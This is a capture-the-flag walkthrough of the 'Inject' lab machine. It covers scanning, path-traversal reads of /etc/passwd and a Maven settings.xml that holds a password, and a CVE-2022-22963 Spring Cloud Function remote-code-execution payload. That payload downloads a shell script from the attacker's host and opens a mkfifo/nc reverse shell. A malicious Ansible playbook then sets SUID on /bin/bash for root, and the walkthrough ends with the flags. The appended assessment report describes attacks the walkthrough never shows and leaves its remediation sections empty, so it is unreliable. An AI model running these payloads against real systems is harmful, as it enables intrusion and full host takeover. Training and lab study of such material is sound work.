📌 Introduction
Inject
🔖 Techniques & Vulnerabilities
🔍 Reconnaissance / Port Scanning
$ sudo nmap -A -T4 -sC -sV -p- 10.129.199.151 Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-24 14:05 UTC Nmap scan report for 10.129.199.151 Host is up (0.12s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA) | 256 d51c81c97b076b1cc1b429254b52219f (ECDSA) |_ 256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519) 8080/tcp open nagios-nsca Nagios NSCA |_http-title: Home |_http-open-proxy: Proxy might be redirecting requests No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.93%E=4%D=4/24%OT=22%CT=1%CU=34900%PV=Y%DS=2%DC=T%G=Y%TM=64468CE OS:F%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10F%TI=Z%CI=Z%II=I%TS=A)OPS OS:(O1=M53AST11NW7%O2=M53AST11NW7%O3=M53ANNT11NW7%O4=M53AST11NW7%O5=M53AST1 OS:1NW7%O6=M53AST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN OS:(R=Y%DF=Y%T=40%W=FAF0%O=M53ANNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F OS:=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G% OS:RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 3389/tcp) HOP RTT ADDRESS 1 159.68 ms 10.10.16.1 2 111.92 ms 10.129.199.151 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 57.80 seconds
🎯 Attack Surface Analysis
| Port | Service | Version / Banner |
|---|---|---|
| 22/tcp | ssh | OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) |
| 8080/tcp | nagios-nsca | Nagios NSCA |
- Credential brute-force and password spraying
- Username enumeration via timing side-channel in older OpenSSH versions
- Weak or reused private key material granting unauthorised access
- Version-specific CVE research based on banner fingerprint
- Lateral movement using credentials discovered from other services
- All HTTP attacks — often hosts admin panels, APIs, dev instances
- Apache Tomcat manager — WAR deploy for RCE with weak credentials
- Jenkins Groovy script console with valid credentials
- Default credential testing for admin interfaces
📖 Walkthrough
Reconnaissance
Nmap
$ sudo nmap -A -T4 -sC -sV -p- 10.129.199.151
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-24 14:05 UTC
Nmap scan report for 10.129.199.151
Host is up (0.12s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
| 256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_ 256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open nagios-nsca Nagios NSCA
|_http-title: Home
|_http-open-proxy: Proxy might be redirecting requests
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=4/24%OT=22%CT=1%CU=34900%PV=Y%DS=2%DC=T%G=Y%TM=64468CE
OS:F%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10F%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M53AST11NW7%O2=M53AST11NW7%O3=M53ANNT11NW7%O4=M53AST11NW7%O5=M53AST1
OS:1NW7%O6=M53AST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M53ANNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%
OS:RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 3389/tcp)
HOP RTT ADDRESS
1 159.68 ms 10.10.16.1
2 111.92 ms 10.129.199.151
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.80 seconds
Directory Busting with Gobuster
$ gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://10.129.199.151:8080/
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.199.151:8080/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/04/24 14:08:15 Starting gobuster in directory enumeration mode
===============================================================
/register (Status: 200) [Size: 5654]
/blogs (Status: 200) [Size: 5371]
/upload (Status: 200) [Size: 1857]
/environment (Status: 500) [Size: 712]
/error (Status: 500) [Size: 106]
/release_notes (Status: 200) [Size: 1086]
Enumeration of Port 80/TCP
http://10.129.199.151:8080
$ whatweb http://10.129.199.151:8080
http://10.129.199.151:8080 [200 OK] Bootstrap, Content-Language[en-US], Country[RESERVED][ZZ], Frame, HTML5, IP[10.129.199.151], Title[Home], YouTube
http://10.129.199.151:8080/upload
We uploaded a random picture and intercepted the request with Burp Suite.
Request:
POST /upload HTTP/1.1
Host: 10.129.199.151:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------1901700343607083763025925830
Content-Length: 12488
Origin: http://10.129.199.151:8080
DNT: 1
Connection: close
Referer: http://10.129.199.151:8080/upload
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
-----------------------------1901700343607083763025925830
Content-Disposition: form-data; name="file"; filename="Nyan.png"
Content-Type: image/png
PNG
Then we forwarded it and found the following link, displayed as Hyperlink on the website.
http://10.129.199.151:8080/show_image?img=Nyan.png
GET /show_image?img=Nyan.png HTTP/1.1
Host: 10.129.199.151:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://10.129.199.151:8080/upload
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Local File Inclusion (LFI) Vulnerability
We checked for Local File Inclusion (LFI).
Modified Request:
GET /show_image?img=../../../../../../etc/passwd HTTP/1.1
Host: 10.129.199.151:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://10.129.199.151:8080/upload
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Response:
HTTP/1.1 200
Accept-Ranges: bytes
Content-Type: image/jpeg
Content-Length: 1986
Date: Mon, 24 Apr 2023 14:11:57 GMT
Connection: close
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
frank:x:1000:1000:frank:/home/frank:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
phil:x:1001:1001::/home/phil:/bin/bash
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
_laurel:x:997:996::/var/log/laurel:/bin/false
| Username |
|---|
| frank |
| phil |
Path Traversal Vulnerability
We also found a Path Traversal Vulnerability.
Modifies Request:
GET /show_image?img=../../../../../../ HTTP/1.1
Host: 10.129.199.151:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://10.129.199.151:8080/upload
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Response:
HTTP/1.1 200
Accept-Ranges: bytes
Content-Type: image/jpeg
Content-Length: 4096
Date: Mon, 24 Apr 2023 14:13:26 GMT
Connection: close
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
Further Enumeration
Payload:
GET /show_image?img=../../../../../../home/frank/ HTTP/1.1
Response:
.bash_history
.bashrc
.cache
.local
.m2
.profile
Payload:
GET /show_image?img=../../../../../../home/frank/.m2/ HTTP/1.1
Response:
settings.xml
Payload:
GET /show_image?img=../../../../../../home/frank/.m2/settings.xml HTTP/1.1
Response:
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<servers>
<server>
<id>Inject</id>
<username>phil</username>
<password>DocPhillovestoInject123</password>
<privateKey>${user.home}/.ssh/id_dsa</privateKey>
<filePermissions>660</filePermissions>
<directoryPermissions>660</directoryPermissions>
<configuration></configuration>
</server>
</servers>
</settings>
| Username | Password |
|---|---|
| phil | DocPhillovestoInject123 |
Unfortunately the credentials didn't worked for SSH access.
Enumeration of the Web Directory
Payload:
GET /show_image?img=../../../../../../var/www/ HTTP/1.1
Response:
html
WebApp
Payload:
GET /show_image?img=../../../../../../var/www/WebApp/ HTTP/1.1
Response:
.classpath
.DS_Store
.idea
.project
.settings
HELP.md
mvnw
mvnw.cmd
pom.xml
src
target
Payload:
GET /show_image?img=../../../../../../var/www/WebApp/pom.xml HTTP/1.1
Response:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.5</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>WebApp</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>WebApp</name>
<description>Demo project for Spring Boot</description>
<properties>
<java.version>11</java.version>
</properties>
<--- SNIP --->
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-function-web</artifactId>
<version>3.2.2</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>bootstrap</artifactId>
<version>5.1.3</version>
</dependency>
<dependency>
<groupId>org.webjars</groupId>
<artifactId>webjars-locator-core</artifactId>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<version>${parent.version}</version>
</plugin>
</plugins>
<finalName>spring-webapp</finalName>
</build>
</project>
We figured out that there was the Spring Framework running.
https://spring.io/
Which was vulnerable to CVE-2022-22965 aka Spring4Shell back in 2022.
https://www.hackthebox.com/blog/spring4shell-explained-cve-2022-22965
We found a PoC exploit on GitHub.
https://github.com/me2nuk/CVE-2022-22963
Skeleton Exploit:
curl -X POST http://0.0.0.0:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")' --data-raw 'data' -v
docker exec -it --user=root vuln ls /tmp
Which gaves us the idea to modify it to our desired needs.
Weaponized Payload:
curl -XPOST http://10.129.199.151:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.16.33/shell.sh -o /dev/shm/shell")' --data-raw 'data' -v
Reverse Shell Payload with the best port:
$ cat shell.sh
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.33 6969 >/tmp/f
Next we prepaired our webserver and listener.
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
$ nc -lnvp 6969
listening on [any] 6969 ...
Then we called the shell and wrote it to /dev/shm.
$ curl -XPOST http://10.129.199.151:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.16.33/shell.sh -o /dev/shm/shell")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.129.199.151:8080...
* Connected to 10.129.199.151 (10.129.199.151) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.129.199.151:8080
> User-Agent: curl/7.88.1
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.16.33/shell.sh -o /dev/shm/shell")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 500
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Mon, 24 Apr 2023 14:39:02 GMT
< Connection: close
<
* Closing connection 0
{"timestamp":"2023-04-24T14:39:02.533+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
Hit on the webserver:
10.129.199.151 - - [24/Apr/2023 14:37:20] "GET /shell.sh HTTP/1.1" 200 -
Then we executed the shell in /dev/shm.
$ curl -XPOST http://10.129.199.151:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /dev/shm/shell")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.129.199.151:8080...
* Connected to 10.129.199.151 (10.129.199.151) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.129.199.151:8080
> User-Agent: curl/7.88.1
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /dev/shm/shell")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 500
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Mon, 24 Apr 2023 14:41:06 GMT
< Connection: close
<
* Closing connection 0
{"timestamp":"2023-04-24T14:41:06.026+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
Reverse Shell:
$ nc -lnvp 6969
listening on [any] 6969 ...
connect to [10.10.16.33] from (UNKNOWN) [10.129.199.151] 50792
bash: cannot set terminal process group (818): Inappropriate ioctl for device
bash: no job control in this shell
frank@inject:/$
Privilege Escalation to phil
We used the credentials which we found before.
| Username | Password |
|---|---|
| phil | DocPhillovestoInject123 |
frank@inject:~$ su phil
su phil
Password: DocPhillovestoInject123
id
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)
user.txt
Shell Upgrade
python3 -c 'import pty;pty.spawn("/bin/bash")'
phil@inject:~$ cat user.txt
cat user.txt
cee1191dfc032e8c367ff736e307ebe3
Pivoting
phil@inject:~$ id
id
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)
phil@inject:~$ sudo -l
sudo -l
[sudo] password for phil: DocPhillovestoInject123
Sorry, user phil may not run sudo on localhost.
phil@inject:~$ ls -la /opt
ls -la /opt
total 12
drwxr-xr-x 3 root root 4096 Oct 20 2022 .
drwxr-xr-x 18 root root 4096 Feb 1 18:38 ..
drwxr-xr-x 3 root root 4096 Oct 20 2022 automation
phil@inject:/opt/automation$ ls -la
ls -la
total 12
drwxr-xr-x 3 root root 4096 Oct 20 2022 .
drwxr-xr-x 3 root root 4096 Oct 20 2022 ..
drwxrwxr-x 2 root staff 4096 Apr 24 15:08 tasks
Luckily we were member of the staff group.
phil@inject:/opt/automation/tasks$ ls -la
ls -la
total 12
drwxrwxr-x 2 root staff 4096 Apr 24 15:08 .
drwxr-xr-x 3 root root 4096 Oct 20 2022 ..
-rw-r--r-- 1 root root 150 Apr 24 15:08 playbook_1.yml
phil@inject:/opt/automation/tasks$ cat playbook_1.yml
cat playbook_1.yml
- hosts: localhost
tasks:
- name: Checking webapp service
ansible.builtin.systemd:
name: webapp
enabled: yes
state: started
Privilege Escalation through Bad YAML
https://rioasmara.com/2022/03/21/ansible-playbook-weaponization/
Malicious YAML File:
$ cat root.yml
---
- name: "foobar"
hosts: localhost
connection: local
tasks:
- name: "foobar"
shell: "chmod +s /bin/bash"
register: "output"
phil@inject:/opt/automation/tasks$ wget http://10.10.16.33/root.yml
phil@inject:/opt/automation/tasks$ ansible-playbook root.yml
ansible-playbook root.yml
[WARNING]: provided hosts list is empty, only localhost is available. Note that
the implicit localhost does not match 'all'
PLAY [foobar] ******************************************************************
TASK [Gathering Facts] *********************************************************
ok: [localhost]
TASK [foobar] ******************************************************************
fatal: [localhost]: FAILED! => {"changed": true, "cmd": "chmod +x /bin/bash", "delta": "0:00:00.005292", "end": "2023-04-24 15:22:46.208681", "msg": "non-zero return code", "rc": 1, "start": "2023-04-24 15:22:46.203389", "stderr": "chmod: changing permissions of '/bin/bash': Operation not permitted", "stderr_lines": ["chmod: changing permissions of '/bin/bash': Operation not permitted"], "stdout": "", "stdout_lines": []}
PLAY RECAP *********************************************************************
localhost : ok=1 changed=0 unreachable=0 failed=1 skipped=0 rescued=0 ignored=0
Since the files in this directory got deleted after a minute or so, it was clear that there was some sort of cronjob running.
After some time, the SUID bit got set on /bin/bash.
phil@inject:/opt/automation/tasks$ ls -la /tmp
ls -la /tmp
total 1228
drwxrwxrwt 15 root root 12288 Apr 24 15:20 .
drwxr-xr-x 18 root root 4096 Feb 1 18:38 ..
-rwsr-sr-x 1 phil phil 1183448 Apr 24 15:20 bash
phil@inject:/opt/automation/tasks$ ls -la /bin/bash
ls -la /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18 2022 /bin/bash
phil@inject:/opt/automation/tasks$ /bin/bash -p
/bin/bash -p
bash-5.0#
root.txt
bash-5.0# cat /root/root.txt
cat /root/root.txt
56fe1bbdc1272650558b8e7f62e8255d
📋 Security Assessment Report
Description
During the penetration test, it was discovered that the application was found to pass user-supplied input directly to a system shell call without sanitisation. The vulnerable parameter was incorporated into an OS-level command, allowing an attacker to append arbitrary commands using shell metacharacters and control the execution context of the web server process.
Impact
An attacker can execute arbitrary OS commands on the server with the privileges of the web application process. This enables complete file system access, extraction of credentials from configuration files and environment variables, installation of persistent reverse shells and backdoors, and lateral movement to internally accessible services — all without requiring any additional authentication. During this engagement, OS command injection was chained to obtain full root access to the server.
Remediation
Description
During the penetration test, it was discovered that the sudoers configuration was found to grant the compromised user the ability to execute one or more programs as root with the NOPASSWD flag or without sufficient restriction on permitted arguments. The granted binary was identified in the GTFOBins database as capable of spawning a privileged shell or reading root-owned files outside its intended function.
Impact
An attacker with access to the low-privilege account can immediately escalate to root by invoking the sudo-permitted binary in a manner that escapes to a privileged shell — requiring no password, no additional vulnerability, and no waiting. During this engagement, this misconfiguration was exploited to obtain a root shell within seconds of gaining the initial foothold, resulting in complete host compromise.
Remediation
Description
During the penetration test, it was discovered that one or more non-standard binaries were found with the SUID bit set, causing them to execute as root regardless of which user invokes them. The identified binaries are documented in the GTFOBins database and can be abused through shell escape techniques or file operation abuse to read privileged files or spawn an interactive root shell.
Impact
Any user with shell access to the host can leverage the SUID binary to escalate privileges to root without requiring additional credentials or exploiting any further software vulnerability. During this engagement, the SUID binary was used to obtain an interactive root shell within moments of obtaining the initial low-privilege access, granting complete control over the host and access to all stored credentials and data.
Remediation
Description
During the penetration test, it was discovered that a root-owned cron job was identified that executes a script or binary that is writable by a lower-privileged user. By modifying the script content before the next scheduled execution cycle, arbitrary commands can be injected and will run as root automatically — without requiring any elevated access at the time of the modification.
Impact
An attacker with write access to the cron-referenced script achieves root code execution on the next cron cycle without any administrator interaction. Depending on cron frequency, the exploitation window ranges from seconds to minutes. During this engagement, the writable cron script was modified to execute a reverse shell, resulting in a root-level shell and complete host compromise on the next scheduled run.
Remediation
Description
During the penetration test, it was discovered that the application constructed file system paths using user-supplied parameters without adequate sanitisation or path canonicalisation. By injecting path traversal sequences into the vulnerable parameter, it was possible to traverse outside the intended directory and read arbitrary files from the server file system.
Impact
An attacker can read arbitrary files accessible to the web application process — including database credentials, application API keys, SSH private keys from user home directories, and system files such as /etc/passwd and /etc/shadow. Credentials discovered through file inclusion were used during this engagement to gain authenticated access to additional services. In PHP applications, log poisoning chains this vulnerability to full remote code execution.